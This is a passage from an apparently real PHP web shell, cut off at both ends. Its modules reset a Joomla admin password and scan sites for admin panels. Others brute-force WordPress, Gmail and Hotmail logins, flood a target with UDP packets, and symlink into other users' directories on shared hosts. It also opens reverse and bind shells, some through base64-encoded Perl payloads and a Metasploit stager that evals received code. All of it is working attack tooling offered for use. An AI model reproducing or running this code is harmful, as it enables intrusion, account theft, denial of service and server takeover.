$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="white">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /white -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: white;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: white;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force By Mr.HaurgeulisX196 ]=--+</font><br>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='white'>".$username."</font>] : Password : [<font color='white'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don't DoS yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s
";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink By Mr.HaurgeulisX196 ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='white' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer By Mr.HaurgeulisX196 ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
ob_start();
@set_time_limit(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'syahrul')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=syahrul" method="post">
<br><br><center><b><font size=4>+--=[ Gmail BruteForce by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<center><span style="font-size:30px; font-family:Fredericka the Great; color:#1975FF">Gmail & Hotmail BruteForce Mr.HaurgeulisX196</span><center><br>
<?php
set_time_limit(0);
error_reporting(0);
class s1{
private $adres = array(
'gmail' => '{imap.gmail.com:993/imap/ssl}',
'hotmail' => '{pop3.live.com:995/pop3/ssl}'
);
private $imap;
function __construct($gelen1,$gelen2){
$uname = explode("
",$gelen1);
$pwd = explode("
",$gelen2);
foreach($pwd as $pass){
$pass = trim($pass);
foreach($uname as $user){
$user = trim($user);
if(preg_match('@gmail@si',$user)){
$this->baglan($this->adres["gmail"],$user,$pass);
}else{
$this->baglan($this->adres["hotmail"],$user,$pass);
}
}
}
}
public function baglan($url,$user,$pass){
$this->imap = imap_open($url,$user,$pass);
if($this->imap){
echo "<span id='cikti' >$user => $pass </span><br
/>";
}
}
function __destruct(){
imap_close($this->imap);
}
}
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.hondupalmahn.com/imagenes/gmail.png'/>
<form method='POST'>
<title>Gmail Brute Force 2015</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: #1975FF;
border:1px dotted #33CCFF;
}
</style>";
echo '<br /> <center><div id="form">
<form id="form" method="POST" >
<textarea cols="42" class="area" name="mail" rows="14"
cols="28">Email Target Lu Disini Cok ^_^</textarea>
<textarea cols="42" class="area" name="sifre" rows="14"
cols="28">Password List Lu Disini Cok ^_^</textarea> <br /> <br />
<input type="submit" id="submit" value="Brute !" />
</form><br>
</div>
<div id="sonuc"> ';
if($_POST){
$mails = $_POST["mail"];
$sifre = $_POST["sifre"];
if((isset($mails)) and (isset($sifre))){
$s1 = new s1($mails,$sifre);
}
}
echo '</center></div> ';
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'yuwono')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=yuwono" method="post">
<br><br><center><b><font size=4>+--=[ Back Connect Simple by Mr.HaurgeulisX196 ]=--+</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://media.stateofq.com/photologue/photos/cache/facebook%20favicon_thumbnail.png'/>
<form method='POST'>
<title>Facebook Brute Force 2014</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: #1975FF;
border:1px dotted white;
}
</style>";
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#1975FF">Back Connect<br>Recoded by Mr.HaurgeulisX196</span><center><br>';
if ($_REQUEST['cdirname']){
if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
function bcn($ipbc,$pbc){
$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
$opbc=fopen("bcc.pl","w");
fwrite($opbc,base64_decode($bcperl));
fclose($opbc);
system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function wbp($wb){
$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
$opwb=fopen("wbp.pl","w");
fwrite($opwb,base64_decode($wbp));
fclose($opwb);
echo getcwd();
system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function lbp($wb){
$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
